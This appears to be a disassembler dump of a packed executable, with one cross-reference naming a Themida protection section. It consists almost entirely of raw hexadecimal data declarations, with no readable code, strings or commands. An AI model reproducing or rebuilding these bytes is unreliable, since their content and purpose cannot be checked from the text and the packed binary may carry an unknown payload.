0E4A79994h, 6BDA3E5Eh, 327339B6h dd 0C708A979h, 0BF7B57DBh, 805A8F38h, 29DD12B9h, 0CDBF9244h dd 3DFB47Dh, 54638E6h, 92FE9355h, 6647C91Eh, 5E8A3C21h dd 995209DEh, 85DBB064h, 2AD60FB6h, 0F3923146h, 8A97932h dd 9C68DAD1h, 908C6DCCh, 0EE5BC0B4h, 0AFD16DFDh, 1793AF93h dd 0ACB60845h, 3DFF23A9h, 0F5965720h, 4876336Ah, 0D4000000h dd 4C1EBD5Ch, 6727F01Fh, 3C115953h, 4E5C6524h, 219867FCh dd 0B5F0966Eh, 74C6BC91h, 3C4A0DB5h, 7EC4C794h, 96943C4Ah dd 0CF86E29Ah, 0EA04E01Bh, 0CC80BB6Fh, 3C4AA71Dh, 9ACF7894h dd 0B8F3971Eh, 3D4DBCCh, 5C310000h, 5D4C1EBDh, 67FC1104h dd 0BBDAC6A2h, 8823CF04h, 34C39837h, 0ABD5A7h, 94239742h dd 0CFB1C6A2h, 13FA87DCh, 5E4D1F9Eh, 9E13A9E4h, 8C402400h dd 468527B2h, 498A3B5Ah, 26AD502Dh, 68209BB5h, 0D66C1F31h dd 2E9E13A9h, 48431532h, 9423C41Bh, 14B35FBBh, 53453170h dd 0AB4A01A0h, 6D1DE627h, 0F8DC3488h, 0A47E23E6h, 1C188A33h dd 3D7219A0h, 0F44E3D23h, 108A73E3h, 0E3D76B1Eh, 332F8A73h dd 4D4C3A0Fh, 98ED6196h, 89805A81h, 80438EA0h, 4F160A66h dd 8C63F5F7h, 0B5749F48h, 8C63F50Dh, 0BD698DE9h, 772B6A1Eh dd 0B06DAC60h, 5F48740Bh, 92498D24h, 0D1C6A3DAh, 51BBA100h dd 47E0h, 4D72A00h, 9BD88B5Bh, 0BB678BE7h, 7C28691Ch, 5EFFDCF8h dd 748E957h, 438714E2h, 5F83CEDDh, 2EB59E8Dh, 0D55167FCh dd 2DCC7A21h, 0AA61943Ch, 670A8175h, 7E1D7A26h, 9330D9E7h dd 0E4B8F9FCh, 0D498397Ah, 0F2000000h, 245D04D7h, 95D38C47h dd 67A582BAh, 3DDF96Fh, 0AB579238h, 1E5B10C7h, 58E35D49h dd 0DC5774B5h, 9E3DE928h, 0C5C4B0E5h, 8A38F31Eh, 6A6DCCC6h dd 579437EEh, 2FABC7ABh, 0CCBBF178h, 6CA14A6Dh, 0B80F5992h dd 39B92B50h, 8BC09A24h, 0E3195C3Ah, 0EE2FE2FBh, 15421E02h dd 52A8CEAFh, 82390ECBh, 13E094C9h, 605D704h, 67FC49C5h dd 0DC29A581h, 0D779953Dh, 0BFF4A5E2h, 0E8E2C9A3h, 0FC9E0AF9h dd 0DA8B4E20h, 1D9CC499h, 29B02C6Bh, 0C6A34887h, 4E40353Ah dd 2304D56h, 43E30000h, 17CD4C00h, 38ED6CE0h, 17CC4BFFh dd 35D75EDAh, 384442F6h, 73E726CAh, 4C0041E4h, 6ADE19CDh dd 4BFF34EBh, 15AD5C60h, 0F16BDA39h, 7E3228F4h, 530C8B3Fh dd 0D71CAA1Eh, 0E9AC7296h, 4D9C98Fh, 77895261h, 0FC7D9FB4h dd 79185567h, 0CAC0DE14h, 65D7CBA0h, 3C471CA6h, 587CF894h dd 6607D2ACh, 0D8F57125h, 3C47932Bh, 0A2417294h, 7AFA8647h dd 0F36639h, 0E1580000h, 2105F12Eh, 7932804Ch, 5BDE5044h dd 0FB376A7h, 0E76DCC7Ch, 0C992678Bh, 0C19B4D27h, 0D5F1D50Ah dd 1F37A21h, 0FF16DCCh, 3387A61Ch, 0A2473E92h, 5608D69h dd 74EA5AF2h, 25DE5572h, 6BD3CF0h, 2AE1FFD1h, 9233BC98h dd 0DBCBA07Ch, 90316C61h, 20B4402Eh, 0C01BBA4Bh, 0D33EFBAEh dd 6CC89803h, 0E9DD0EF0h, 0F029E072h, 9A3B2004h, 58A5C2D9h dd 90CB7FC1h, 83FE5E4h, 33F608ECh, 9E15BCE6h, 89FE9B80h dd 5A5F015Dh, 0BC6B5FECh, 0A4C0A47Fh, 155D0FCAh, 30C5E39Ah dd 9C10341Fh, 0BF2C6B1Dh, 40343718h, 0B776034h, 0BE000001h dd 8615C90Ch, 0A433A7DEh, 9108C4FDh, 0AE2DA1DEh, 9FFBBFAh dd 9EDD8FFDh, 0B9FAAB2Ah, 95D07605h, 0B4E9A219h, 802B15F8h dd 6BDA3AC2h, 32FFC522h, 0C4FDA47Eh, 6F236405h, 0DC5BCFF3h dd 603AEE23h, 0DEFB34D9h, 44793246h, 5D923950h, 0E310B883h dd 0CC7C9A28h, 0C29E7A6Dh, 8D6552CEh, 0EB48C61Ch, 0A17B4318h dd 8F9CC4ACh, 6C1F7047h, 6DCCF5D6h, 390E322Eh, 21C50DACh dd 0C405A872h, 3B6754D0h, 334D2929h, 0CA78334Dh, 2A6DCC3Dh dd 0B172192Eh, 5567F672h, 0F5AE2DD9h, 7663DFCAh, 0AA619426h dd 94267618h, 0F47020FCh, 49825CD0h, 0D710D44Fh, 0EB688599h dd 4413FF34h, 0F411C3F7h, 35FC932Ch, 56E5598Eh, 0D8C78ADh dd 1D431D5Ah, 0EE076930h, 4433CB31h, 0B41A28FEh, 7B76D8E1h dd 0F4ACAFB4h, 31A36378h, 54E7E382h, 0DD5673AEh, 0BE3DF126h dd 9942C705h, 0FCA8E387h, 49B15378h, 0F4A00B7h, 3563F33h dd 0A6000000h, 80326D5Fh, 9952493Dh, 7519B064h, 9E4F463Ah dd 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h, 7830A75Bh dd 52CF5541h, 0C281E289h, 4 dd 8704EA83h, 248B2414h, 0E6895624h, 4C681h, 0EE830000h dd 24348704h, 243C895Ch, 5E08950h, 4, 8704E883h, 895C2404h dd 3F682434h, 5F061638h, 390E68h, 24248900h, 4240481h dd 5E000000h, 89F98951h, 0C8B084Eh, 4C48124h, 8B000000h dd 89532434h, 4C381E3h, 83000000h, 1C8704C3h, 34FF5C24h dd 0C4815F24h, 4, 0FA384BE9h, 8A9D14FFh, 0B8C57108h, 61647A4h dd 0E0FFC503h, 19F43D82h, 8BD95EAh, 1FA75C2h, 69C8D6E9h dd 7B5C4A1Eh, 4479FD2Eh, 25E51D1Eh, 19AD9645h, 104852BAh dd 0B08DAFDh, 13D3F6E6h, 1C16BF94h, 0BA35E2Bh, 720B46Eh dd 33B37AB9h, 11E303C7h, 8DB4866h, 21C043E8h, 0F7B22D3h dd 36CF123h, 68AC1AD8h, 1AAE9h, 0DA3BE200h, 0D52C2703h dd 0B198D31Ah, 0CAD1D746h, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh dd 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh dd 9EB9FC9Ch, 0C945D200h, 0EE73AFh, 0BA9755FCh, 0E56D599Ch dd 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh dd 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh, 43h dup(0) dd 84970000h, 0F033A26Dh, 0EE69h, 0Ah dup(0) dd 0E9000000h, 0FD8h, 164C0368h, 0AAE906h, 3068FFFBh, 0E906164Dh dd 0FFFB00A0h, 164E8A68h, 96E906h, 5868FFFBh, 0E906164Fh dd 0FFFB008Ch, 16506F68h, 82E906h, 4B68FFFBh, 0E9061651h dd 0FFFB0078h, 1651F068h, 6EE906h, 6D68FFFBh, 0E9061652h dd 0FFFB0064h, 16537168h, 5AE906h, 0EA68FFFBh, 0E9061653h dd 0FFFB0050h, 16548168h, 46E906h, 4F68FFFBh, 0E9061655h dd 0FFFB003Ch, 16560F68h, 32E906h, 5868FFFBh, 0E9061657h dd 0FFFB0028h, 16589968h, 1EE906h, 3A8DFFFBh, 0F6EADB88h dd 3F96673Ch, 0EFE5D88Dh, 4595683Dh, 9E66D68Bh, 580DC71Bh dd 0E5BA7465h, 570CBE18h, 0E6BB7566h, 69087306h, 0EC1DDE8Fh dd 3D5AA652h, 8494604Bh, 867F2020h, 0A5F49B55h, 961AEDB6h dd 2EE6AA3h, 0B2A0014Eh, 7288F3CAh, 0F51DD894h, 163D8A09h dd 0B911B869h, 0D936F0Ah, 0FCBE9390h, 31h, 5EA95A44h, 17C8453Bh dd 0B0416A1Ah, 7803FA82h, 1DD8456Ah, 1562610Dh, 11B8447Eh dd 8C47E251h, 8C33EDDDh, 0BF25BDDEh, 0AEBE93B8h, 107h dd 4D075CF2h, 29E3F746h, 0AB085BAAh, 66510B3Eh, 17C844D3h dd 0BFBE9282h, 0FAA76172h, 0C84A380Dh, 5F194A17h, 0D690C332h dd 0F3E856B7h, 509D24DEh, 441044F6h, 4FD0026Dh, 25D61DD8h dd 0B832B7DAh, 0ADEE9E11h, 682236C7h, 334BEE99h, 1A0A11B8h dd 0D30A7746h, 335EF17Eh, 7F711B8h, 3986345Bh, 61446D27h dd 53AAD280h, 0CAEA9AA8h, 0C231DD17h, 8E651F33h, 79FF92DDh dd 97560BA5h, 0BADD6748h, 317ED2ACh, 0BB676620h, 0B140B3F2h dd 3EC7E8A2h, 8954520Ch, 0CFE21638h, 0D6834CCh, 6590000h dd 9AAEFF54h, 0B42B3E0h, 0A3B90C59h, 151A4F1h, 5A2A1A47h dd 9CC983D7h, 0D17E3829h, 6B38EAE4h, 0C28F499Ah, 55E48FE2h dd 1DDE91h, 0A95AB266h, 3150025Ch, 451F3285h, 463617C8h dd 0F0AAA025h, 470152A3h, 0DD7C0778h, 9B17C844h, 401B4F82h dd 9686EC5Eh, 601B90D5h, 3ADECB59h, 31EF52F8h, 38318698h dd 4896D49Dh, 0C330BF1Ah, 17C844B4h, 6F02F5A1h, 0E617C845h dd 1D3CC736h, 3817C845h, 5EA9184Ch, 1DD845CCh, 1B3EC93Ah dd 3A11B845h, 80FFB9A9h, 57DD7ED2h, 4E7DD006h, 0ED94C094h dd 0B8448BA2h, 0D48D4411h, 93B798FEh, 0B589BEh, 5AE10000h dd 0B93F6C3Dh, 3E5F390Fh, 0B3DA94C7h, 0C152A764h, 0DA51B2D3h dd 641E3491h, 174D125Dh, 263517C9h, 95C6376Ch, 0DACCB38h dd 0FDA917C9h, 9BC72AA9h, 93EF0CE3h, 0A7776472h, 8AF5CE8Fh dd 1DD90E48h, 81721FCFh, 9B22DCF4h, 1F43AEEFh, 9AE79867h dd 58068D47h, 0A5A1B017h, 0C8B417CBh, 9C568CF9h, 5385F4C7h dd 234CFA99h, 0F6B0A2h, 0E215790Fh, 3B9E3635h, 2C00000Ch dd 0E1D48133h, 8D6035EFh, 0ECD98638h, 0A4113EF0h, 0CD9FF4AEh dd 763022E5h, 0CB85DC29h, 7D2F2796h, 0CC86D528h, 39C61597h dd 1DDE9216h, 5CF9A13Fh, 0A6174C06h, 4D075AB5h, 5C1E4C19h dd 0F5464D07h, 7EDD8986h, 38A594A2h, 0C885AACDh, 0B2FBAB17h dd 58A30053h, 17C88639h, 6F24701Ch, 0D21DC46Ah, 17C885BFh dd 43BAE696h, 862847B4h, 412D17C8h, 3E58A320h, 211DD8A8h dd 6A014E75h, 6511B864h, 0F95F33EEh, 0E8BE9398h, 69h, 3AF4EC99h dd 1A483971h, 8BDC8B62h, 8B32ECDEh, 458514DFh, 24D017C8h dd 67CE8C7Bh, 0BC491DD8h, 36E4EBA5h, 7518636Ah, 5A11B822h dd 0F2784AE3h, 0E3BE93D6h, 31h, 0F584EF80h, 6011B819h dd 48BFEBB4h, 0E08B621Ah, 1DD8692Ah, 12CCFD6Ch, 969EBF6Bh dd 0F99CE7E6h, 0D611B820h, 6EF4CE67h, 5FBE93DBh, 7, 81413A3h dd 48970000h, 0DC8B621Ah, 0B71A708Bh, 0DE10767Bh, 0C9148413h dd 0A516D117h, 9A8B32DBh, 106A7FBh, 1DDE9569h, 2EBB32E2h dd 0BF2E631Dh, 4AABD28Ch, 0A251A0E4h, 4A49FB53h, 0EFF4D39Ch dd 7A17C849h, 95C6338Ah, 243786DBh, 5C02636Ah, 802ED928h dd 0BF11ABC2h, 53AD9CFh, 6968E830h, 0AE1D3h, 0CB7DD200h dd 77312796h, 0D082DB2Ah, 681A3283h, 0DE98CA3Bh, 30F3C3B1h dd 0C233601Ah, 2D80D58Fh, 0CB3A6719h, 33B1DE98h, 934453A0h dd 0B7111DDEh, 46375EC3h, 0AF9317C8h, 0E79BE8D7h, 0D31DDE8Ch dd 0AB895AB8h, 0C0E11C55h, 169BC8B4h, 125D5428h, 17C85572h dd 97E6DDC9h, 0D8277B44h, 9DA60980h, 3A299CC9h, 0B2A00180h dd 0AF4F56BBh, 2B1EE66Fh, 82712571h, 0B1C6F4F5h, 18631411h dd 5853679h, 56F30DCh, 0AA59AA19h, 358BAE59h, 0DACA0585h dd 853648E7h, 40610D05h, 0E5DC96C5h, 0E7884298h, 0C11C2F7Eh dd 0AED58Fh, 4DE22D54h, 81858536h, 0AD5AA9DDh, 8B9542E3h dd 0CD8AD8B3h, 0FA34521Bh, 0D5D3C3B1h, 6E46A020h, 1355EB6Eh dd 400000Ah, 794C19CBh, 5F8AD67h, 84711ED0h, 0FCC99648h dd 5772CE6h, 0AE687A3Dh, 3BD14E1h, 0B5675F4Eh, 4BE0DE0h dd 71FE4D4Fh, 1DDE93DEh, 4831D977h, 0E08B621Ah, 1DDE8E3Ch dd 41B0FFEFh, 0BA0B5812h, 7100EFA9h, 701EA55Fh, 7BC6E215h dd 0F2BBC9D3h, 0AAD280E1h, 0E280A853h, 0C4C317C7h, 8FB01867h dd 3CB3DF70h, 0AFE49EADh, 5C530D3Eh, 8706B80Dh, 0A00192DBh dd 803A29B2h, 0B992DDD4h, 1011B239h, 98BEC55h, 55105FDh dd 520C3FAEh, 1BB0E5Bh, 0DA8BD482h, 0AB9DF8EBh, 9D4EA5F1h dd 85D53F52h, 99661605h, 0C3D09143h, 19D30574h, 24A3CC7Ah dd 585D511h, 2F195B9h, 9C1D9175h, 0C0D6B10Bh, 0DF91CB81h dd 4F32E0h, 0E376012Fh, 72FF7037h, 0A78DCE82h, 6A7908F7h dd 0C112E3B0h, 0CA378807h, 35E1E092h, 0A5D9856Ch, 8081A14Eh dd 0CABA0586h, 88FC62C3h, 0E092CC39h, 805235E1h, 0A0E2159Dh dd 95E2E18Ah, 0FF69D54Fh, 2FF6F4A0h, 55FA7208h, 8FCBE56h dd 0DAED0000h, 568A7B28h, 0DFF6C79Ch, 4F85782Dh, 0E5F5C89Dh dd 3E06762Bh, 0F8AD677Bh, 451AD405h, 0F7AC5E78h, 461BD506h dd 0C9681366h, 8C1DDE94h, 0A95A4632h, 0C8453B5Eh, 276A1A17h dd 21FB276Ah, 0E1E48DA2h, 4A9938F2h, 0E5ECA6BBh, 3E8D7839h dd 695FD84h, 0EFA9BA6Bh, 79AA30A2h, 0C9BB883h, 0EF000000h dd 1B3AB5Ah, 4A41C60h, 47640000h, 0C9103EE5h, 0A55358CEh dd 269171F5h, 17C8DA13h, 0AFFE5242h, 0D8FE1644h, 3515011Dh dd 0C487196Ah, 8DF15DE4h, 0DD8FC736h, 5C6708B6h, 0BD01C10Fh dd 67661644h, 22756918h, 0A14D742Eh, 7F20CEF5h, 49B8CC72h dd 0B04C21BEh, 5D54403Eh, 5401BB10h, 0FA157261h, 7990A5CFh dd 771AED92h, 0DE328894h, 0CB84622Eh, 0F1BB3321h, 820DA72h dd 0BE110000h, 7266570Ch, 0C31AEBB8h, 5B714411h, 0D909FCA9h dd 3202721Fh, 0F4A15B6Fh, 4916D001h, 0E3B0627Ch, 5A07C112h dd 0DD7C075Ah, 781DDE95h, 0AB5A2ADEh, 660DECB5h, 49A6A59Ah dd 6271541Dh, 86DC29A8h, 2C1297CCh, 691A6958h, 0C8F77B1Eh dd 0D52ADA17h, 1FA8C983h, 1DDF3FD1h, 58A71606h, 0AE3D5CA7h dd 6C1811B2h, 0D791C243h, 6E283B8Ah, 3C40EE4Fh, 0F70E3AC5h dd 493517C8h, 1ED80B7Ah, 0DBF38271h, 0B3FCAA29h, 48470152h dd 0A1538AF7h, 0DA2B7422h, 621C2D88h, 5E3AF5Bh, 0E21F502Eh dd 7B67FD7Ch, 6C000007h, 2194C173h, 0CD20752Fh, 2C99C678h dd 0E4D17E30h, 0D5F34EEh, 0B6706225h, 0BC51CE9h, 0BD6F6756h db 0E8h, 15h, 0C6h byte_5B067F db 0Ch ; DATA XREF: Themida_:0055531Ao dd 79065557h, 1DDE95D6h, 4839E17Fh, 0E08B621Ah, 1DDE8E48h dd 7C1B68FBh, 0D911B1FCh, 0FB8A792Dh, 94612EE8h, 9BFE853Fh dd 8FE0CFB7h, 0FC0493E0h, 0A55111B1h, 238392E2h, 426BE8C3h dd 0C1678BC5h, 0C3F00B17h, 2A5D94D4h, 0E08CA8C9h, 1A7B390Ah dd 6C0487E2h, 6FEh, 7926D8EFh, 0C59A548Ch, 762BDDF8h, 0C69B4D87h dd 7C29E3F7h, 65753808h, 0D207F6ABh, 647A4B18h, 0BB10DDB2h dd 1505401h, 0DE96E376h, 24D4721Dh, 464D075Ch, 0A32AE4F7h dd 1C2DBC3Bh, 0EEAF5B62h, 5A893CF5h, 79DFF3A0h, 68B883B3h dd 7, 2BC13C0h, 5C970000h, 0E3464D07h, 4BB8077Fh, 1DDE8F23h dd 540E42AFh, 54E0812Dh, 0B0AC59A8h, 8AD37FFEh, 3FF9EADBh dd 5082EF40h, 224BF796h, 0A0F5AFA3h, 0F2AC9E4Bh, 621A48A9h dd 8FDC8Bh, 0E611B1FBh, 0E6943BF5h, 0F0D39C88h, 0C843CA83h dd 78473717h, 0AE687A07h, 0DA8CC20Fh, 125B07B3h, 0B9E6A0B3h dd 31AC4D4Ah, 0F15422F9h, 347D29DBh, 0C9C882D1h, 0D70B667Ch dd 9CC8761Dh, 0C7AE94F5h, 0A6585E07h, 239AC611h, 520827D4h dd 0A14D0B9Bh, 5740300h, 0C7731AD4h, 5F8F21A6h, 0AA5711ABh dd 0B26C5EB9h, 0C7B7BDDEh, 306F86F1h, 17ADACE8h, 5FAh dd 0D42F4EBh, 0A1EEA8A0h, 1A47F954h, 52FFB1ABh, 0E0B56F63h dd 0F1E1A48Ch, 469B6A37h, 0F0E6D78Ch, 0AFA4113Eh, 0AD3CA0F5h dd 0DE982F42h, 0E0C8261Dh, 0B6AC075Ch, 6E29D5FCh, 91E4FD5Bh dd 6A693D76h, 6F0EC81Bh, 26DD9807h, 88527769h, 8A918C5h dd 5A73CEFDh, 297D29A8h, 0A800667Ch, 7F1B883h, 39000000h dd 13913h, 75C9700h, 6FEA6F4Dh, 3130D5F3h, 5819Bh, 0AB5D7200h dd 17D107F6h, 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh, 50D3A391h dd 0A21340FAh, 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 97E47300h dd 0D7711DDEh, 4D075C23h, 2AE4F746h, 19C3BA3h, 0AEA4FF54h dd 7521CDF4h, 0B424AA20h, 1215B883h, 6D000000h, 0D513h dd 5181F000h, 1394D697h, 0CAh, 621A4897h, 8F48E08Bh, 0BFB1DDEh dd 493D2184h, 14330D7Ah, 27B417C2h, 9A557C2Eh, 10F6E8Eh dd 2F1A560h, 0A240E275h, 0CF83730Bh, 19736AD9h, 23B9B8E2h dd 4EAh, 7DD284DBh, 315E1830h, 8AD789C4h, 226F213Bh, 90C57FD3h dd 151D49Ch, 0B6AB1A47h, 56A7FCh, 9FB4014Eh, 9D2CB0E5h dd 0DE993F52h, 0D0B8161Dh, 8B621A48h, 0D893D2E0h, 7665141Dh dd 39C615BCh, 11B7F716h, 5A034F3Fh, 15489DAh, 454C18D2h dd 87F6CD99h, 4DF99852h, 0C60D410Ah, 0DE7FC427h, 597996E5h dd 1DAE2E2Fh, 0DAF9B3A5h, 588B782Ch, 0CD08FD9Eh, 1CE7A41Bh dd 0F9A6A13Ch, 6F402546h, 11B829DDh, 4916D003h, 10AF617Ch dd 45978h, 1A481000h, 48E08B62h, 0FB1DDE8Fh, 3D21840Bh dd 7A097A49h, 0B1FB6A0Dh, 0C83BEB11h, 11B1FAA9h, 249FC0ACh dd 7E3026D3h, 0BD0A53FFh, 17C21363h, 0C9229884h, 0F7E219D2h dd 41CDC74h, 0BA0D0000h, 766A5B08h, 0BF16E7BCh, 6F65580Dh dd 0C515E8BDh, 1EE6560Bh, 0D88D479Bh, 653AF4E5h, 0D78C3E98h dd 663BF5E6h, 0E988F386h, 6C1DDE99h, 1A4826D2h, 4CE08B62h dd 0FF1DDE8Fh, 21A05A6Eh, 23D22175h, 0DC297630h, 0DA352C87h dd 0D27ED284h, 0FDE44AABh, 0B1FADF72h, 0CB867611h, 0B5DA7E8Dh dd 368DD9F2h, 0C2F2CAC5h, 4BCAF233h, 96F17365h, 0ADEED956h dd 0C79BC15Ah, 5FCA817h, 5AA96378h, 0B2FBB5ABh, 17D102F3h dd 55291578h, 0ED01A15Eh, 2F12CC04h, 6D1AD1C5h, 723F28Fh dd 358ECF83h, 0AA611CCAh, 0D43B211h, 0EDDD2C53h, 363E5F33h dd 80FFB1A5h, 0D5287ED2h, 1BE83166h, 35C0098h, 0FA4D0000h dd 0B6AA1B48h, 0FF56A7FCh, 0AFA5184Dh, 555A8FDh, 5E26164Bh dd 98CD87DBh, 257A3425h, 97CC7ED8h, 267B3526h, 0A9C833C6h dd 0AC1DDE9Ah, 75C6612h, 0E4F7464Dh, 0CE74752Ah, 26BC47B6h dd 411DD85Ah, 4AE12E55h, 9411B82Fh, 0B0FD843Eh, 9EB13E9Bh dd 0B711B82Eh, 3FF49BC7h, 1591A540h, 0A92F039Eh, 98BE93C9h dd 4Fh, 621A48F0h, 45E2E08Bh, 0D5241DD8h, 94DFCE80h, 11B84505h dd 79FBA450h, 6159368Dh, 113086A6h, 0A42BE5FBh, 0D201AAF6h dd 23DDF481h, 42FC4D9Ch, 0D37A4D0Eh, 0FC11B910h, 50D6AC45h dd 41BE92EBh, 106h, 53E691E2h, 211B905h, 5C214912h, 7764D07h dd 3D5617D1h, 0A120DAF0h, 3E45FF54h, 0F47FDCEFh, 17C84565h dd 615004F0h, 7B02BC14h, 0E4D78ECFh, 4549E893h, 600C17C8h dd 4977C83Fh, 0D80B17C8h, 4F84711Eh, 7F611E95h, 453E808Fh dd 63C6CD8Eh, 0CB3887FFh, 1DD7F9D5h, 6C6D22D2h, 80EFBEC6h dd 5ABB883h, 0ECD9254Dh, 0E6943BF5h, 0B6A742C5h, 0EE9E17CAh dd 0CF0170FFh, 85C06E15h, 3988B40Fh, 0F1D49D9Ch, 897A27E1h dd 842DE7FCh, 21975181h, 0E215F6C8h, 13F58B0Eh, 4000002h dd 794C19CBh, 5F8AD67h, 84711ED0h, 0FCC99648h, 5772CE6h dd 0AE687A3Dh, 3BD14E1h, 0B5675F4Eh, 4BE0DE0h, 71FE4D4Fh dd 1DDE9BDEh, 5A31D977h, 675FB2ABh, 34E2E1B5h, 7F489A6Bh dd 4AB93664h, 0DD7C072Bh, 7817C8F8h, 358CD88Ch, 0E9D892C8h dd 0C8F8FB9Eh, 1AA5A17h, 0A70251A4h, 1DDAF9B3h, 0BD93410Ah dd 297D296Ah, 1A482E7Ch, 0E2E08B62h, 241DD845h, 0AFCE80D5h dd 303FAC03h, 2511B845h, 503C3879h, 454FE631h, 378F11B8h dd 9BAFFE85h, 0F063E2E1h, 0EC52135h, 0B8197F53h, 0F708BE93h dd 60000000h, 5DB2AB5Ah, 0C8457F12h, 7A26D617h, 1F9E5085h dd 88DB2A73h, 1160AFCEh, 0D6840BBDh, 44FD9CE7h, 0AC5817C8h dd 16D00203h, 49DB2C77h, 0EAA517C8h, 5F6551E0h, 3FC6E75Ch dd 0AEFD520Ch, 0B54063Fh, 0D0EFA9BAh, 6D1AC16Dh, 17C804CAh dd 0F8C79B8Bh, 0D818158Bh, 7CD4211Dh, 4E0FBBC2h, 886936E6h dd 9C4BA2DAh, 1C45F74Dh, 0CAA6A5ABh, 75027117h, 0BA53BE2h dd 3BE27502h, 83730BA5h, 0C4B0F19Dh, 469CE9D8h, 0F4E6D78Ch dd 27E39E2Bh, 52FEC36Eh, 17512D54h, 0C0585BE2h, 0D2h, 85DA8CC3h dd 39662038h, 0B2DF91CCh, 0A570943h, 0B8EDA7BBh, 2939FCC4h dd 7ED3226Fh, 281E8FC4h, 87DC2976h, 0C51498CDh, 0DE9D173Ah dd 0F8A03E1Dh, 0B6AB065Ch, 0AC59A8FCh, 28D6FDB7h, 7CCF1E87h dd 2BD82D21h, 17C8450Ch, 8A095D49h, 89F83CCDh, 0EEA242D2h dd 4C18D201h, 0AB5A4B17h, 28D6FDB7h, 934D7E87h, 53AE9DECh dd 913D44FEh, 250990C5h, 0EC759261h, 0E9A3B76Bh, 21593CEAh dd 0B70C55F5h, 0F0AAB948h, 0F6BF58AFh, 0F2A21DDEh, 934D7ECBh dd 0EF7EEDBEh, 0EF9B22DCh, 0B2667504h, 6B34E011h, 0F08F499Ah dd 7EC730A3h, 944DBE17h, 6B38F2E1h, 0F08F499Ah, 0DAF9ABA1h dd 4AFBB62Dh, 70E65019h, 0FE89AEF7h, 9BB0FD52h, 34AE2E1h dd 5E000000h, 35CBFEBh, 0F0E33251h, 144A9736h, 0BB0E5B62h dd 1F338201h, 0BB0F5E65h, 19338201h, 0C4196867h, 2A1E6B12h dd 51945170h, 0BB53E189h, 4, 835BD901h, 0C8704E9h, 89575C24h dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 241C895Ch, 2FCE68h dd 243C8900h, 164ACF68h, 241C8B06h, 4C481h, 8B540000h dd 0C483243Ch, 89575504h, 5FFD89DFh, 5D086F89h, 53243C8Bh dd 0C381E389h, 4, 4C381h, 1C870000h, 34FF5C24h, 0C4835B24h dd 0F0EAE904h, 5B49FFFAh, 94063450h, 39D8320Bh, 137A00C8h dd 165990B8h dd 0FFC50306h, 7DABE0h, 0BCE3B908h, 849E5A5Bh, 24D9DE21h dd 56150632h, 5625AE7Eh, 5FC6455Eh, 0D0E20A0Dh, 62A6B138h dd 0D694387Bh, 1D8D8D23h, 8906165Bh, 100081BDh, 0F58D8906h dd 6A061009h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 1D61C350h, 5EDC9724h, 1985C7C2h dd 74061023h, 6A00006Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0C759C356h, 1022C185h dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 11B0F45h, 0E63FA03h, 1651958Bh, 9570610h dd 100E2995h, 0B5FF5B06h, 61004E9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 19C35141h, 9F31BA41h, 0BD8B3CAEh dd 6102D51h, 2DB995FFh, 6E90610h, 0FC000000h, 8FA8654h dd 0FF006A41h, 1031C995h, 0EBC08B06h, 0BAEC1D18h, 0EE40E43Eh dd 9D5532B6h, 0BCEFD641h, 0FDFF5323h, 0DFEF0F59h, 14E835h dd 40900000h, 5BB2FEDAh, 8B4AAFE3h, 48819CA9h, 6CD383A9h dd 0BD8BBB46h, 6101D11h, 0C38B6659h, 6221C181h, 0B8660000h dd 0D233B92Eh, 4ADBD89h, 348B0610h, 0AE911h, 51EE0000h dd 0F2645A7Fh, 0CEEDE3E1h, 0C961EE81h, 81F511ABh, 0D09E22F6h dd 0DFB70F0Eh, 0B3ECF681h, 81563B27h, 502B81F7h, 0E9565B63h dd 6, 2ECB2266h, 48FEA81h, 0BF0F6011h, 8FCFBFC9h, 8B613260h dd 101E459Dh, 4EA8306h, 2205BD8Bh, 0FA810610h, 0FFFF9EA0h dd 16850Fh, 0CF800000h, 29E9DCh, 0BD670000h, 6B90E018h dd 53FC66A3h, 0B003F86h, 0E9C38B66h, 0FFFFFF7Eh, 1FA8FA26h dd 38E1194Eh, 18EE0A00h, 5339253Bh, 0E9DCB42Dh, 29h, 5E96A1Ch dd 9 dup(0) dd 5A5E900h, 4BFB0000h, 1FC55408h, 40E574E8h, 1FC45307h dd 3DEF66E2h, 205C4AFEh, 0BBFFEB2h, 2498D98Ch, 2B6F195h dd 2397CC73h, 0ED555428h, 96BDA20h, 793220ACh, 0F0A9633Bh dd 7B317990h, 50442044h, 0B90900DEh, 5D6DCCA6h, 0BD6FEC01h dd 0DC12E575h, 0FD00ED24h, 0DE1BD0E3h, 2E122E32h, 0F44FB7Ah dd 8CC97E3Dh, 7B0BB772h, 6FEB6DCCh, 762DAC5Ah, 8E365541h dd 0AF10AB57h, 255A1110h, 0CC76354Bh, 286DCC7Bh, 30A72F4Ch dd 0C8B3F7Ah, 15671B56h, 7B8240EBh, 6626DCCh, 86C76AF1h dd 0DA79089Ah, 0F06CA75Bh, 39F2C269h, 0D6791004h, 0C799BD99h dd 7B50F299h, 97926DCCh, 6DCC7B2Bh, 0C39F4FCBh, 0A253B996h dd 895ECA06h, 7318A39Dh, 0DD6A2136h, 626DCC2Eh, 0E627C261h dd 0C6336AE3h, 76h, 5FE3A6B8h, 0F06DCC3Ah, 2905FD3Ch, 0A9D77854h dd 0CC7C4002h, 0B3C8A46Dh, 564A7F28h, 79AE55E4h, 0D7D4A98Dh dd 6DCC7C69h, 777211B2h, 336B3636h, 116h, 0A9D77400h, 573E7F32h dd 6DCC7CEBh, 813A0F0Bh, 0E9E094CBh, 26180C43h, 95B2F193h dd 782C691Eh, 5EC75E45h, 309279A6h, 0D46DCC7Ch, 69627C58h dd 6B582707h, 8942F903h, 0A7C4A054h, 0CAFFA82Fh, 7E32780Eh dd 8C34533Fh, 852AA155h, 8B3D5C48h, 7E25584Ch, 4F863EE7h dd 17A27673h, 0E94D3972h, 0A701AC04h, 0B2C7B599h, 